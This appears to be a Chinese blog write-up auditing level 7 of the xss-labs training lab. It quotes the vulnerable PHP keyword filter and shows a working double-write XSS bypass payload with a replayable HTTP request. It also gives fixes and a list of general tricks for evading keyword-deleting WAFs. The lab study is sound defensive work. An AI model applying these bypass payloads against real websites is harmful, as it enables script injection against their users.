xss-labs-level7-代码审计报告

23次阅读
没有评论

xss-labs Level7 代码审计报告

目标文件: level7.php | 漏洞类型: 反射型 XSS —— 关键字删除过滤的"双重写入/删了再拼"绕过 | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径: GET /level7.php?keyword=<payload> → <input value="..."> 属性/标签注入


一、漏洞代码定位

level7.php 第 17-24 行:

$str = strtolower($_GET["keyword"]);               // L17 先压平
$str2 = str_replace("script", "", $str);           // L18 关键字被“删除”而非替换占位
$str3 = str_replace("on", "", $str2);              // L19
$str4 = str_replace("src", "", $str3);             // L20
$str5 = str_replace("data", "", $str4);            // L21
$str6 = str_replace("href", "", $str5);            // L22
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">            // L24 危险:value 属性未转义
<input type=submit name=submit value=搜索 />
</form>
</center>';

漏洞点: L24(属性未转义)+ L18-22(删除式过滤存在经典绕过)。


二、漏洞原理

  • 过滤把关键字 str_replace(..., "", ...) 删除,且只做单遍扫描(PHP str_replace 对替换后新拼出的内容不会再次匹配)。
  • 经典绕过"删除后残留拼接":构造 scr + script + ipt 连写为 scrscriptipt。过滤删掉中间那个完整的 script,剩下的 scr 与 ipt 拼接成新的 script。已实测:
    • 输入 <scrscriptipt>alert(1)</scrscriptipt> → 过滤后变成 <script>alert(1)</script> ✅
    • 常见误区 <scr<script>ipt> → 过滤后是 <scr<>ipt>,<> 残留在中间,不成立(不要用这种)。
  • 原理: 删除过滤器假设"删掉了就没了",但 str_replace 是删除字面量一次、对删除后形成的新序列不再重扫,给"残留重组"留了空间。

三、利用方式与 Yakit 可重放数据包

Payload(URL 解码后):

?keyword="><scrscriptipt>alert(1)</scrscriptipt>

过滤过程(服务端): "><scrscriptipt>alert(1)</scrscriptipt> → 删除内层 script → "><script>alert(1)</script> → 浏览器执行。

Yakit 可重放原始请求:

GET /level7.php?keyword=%22%3E%3Cscrscriptipt%3Ealert(1)%3C%2Fscrscriptipt%3E HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

触发方式: 页面加载即执行 alert(1) → 命中通关逻辑跳转 level8。


四、修复建议

$str = $_GET["keyword"] ?? "";
// 方案A(推荐): 不设关键字过滤,直接输出编码
$safe = htmlspecialchars($str, ENT_QUOTES, 'UTF-8');

// 方案B(若要保留黑名单): 删除后再次检查,直到稳定(防“删了又拼”)
$prev = "";
$low = strtolower($str);
while ($prev !== $low) {
    $prev = $low;
    $low = str_replace(["script","on","src","data","href"], "", $low);
}
// 仍存在先压平后删除导致业务数据丢失、且难以穷举绕过的问题,故仅作临时缓解。

要点:

  1. 删除式黑名单是反模式,必然存在"残留重组/两次编码"绕过,根除方式是输出编码。
  2. 属性上下文必须 ENT_QUOTES,不能只靠删字符。
  3. 纵深防御: CSP、输入白名单(仅允许合法搜索关键字)。

五、备注

  • 已用与 PHP str_replace 等价的单遍替换语义实测,确认 <scrscriptipt> 方案有效、<scr<script>ipt> 无效。
  • 通用经验: 对"删关键字"类 WAF/过滤,优先尝试 keykey 双写、k<key>ey、HTML 实体、大小写、换行等变体组合。
正文完
 0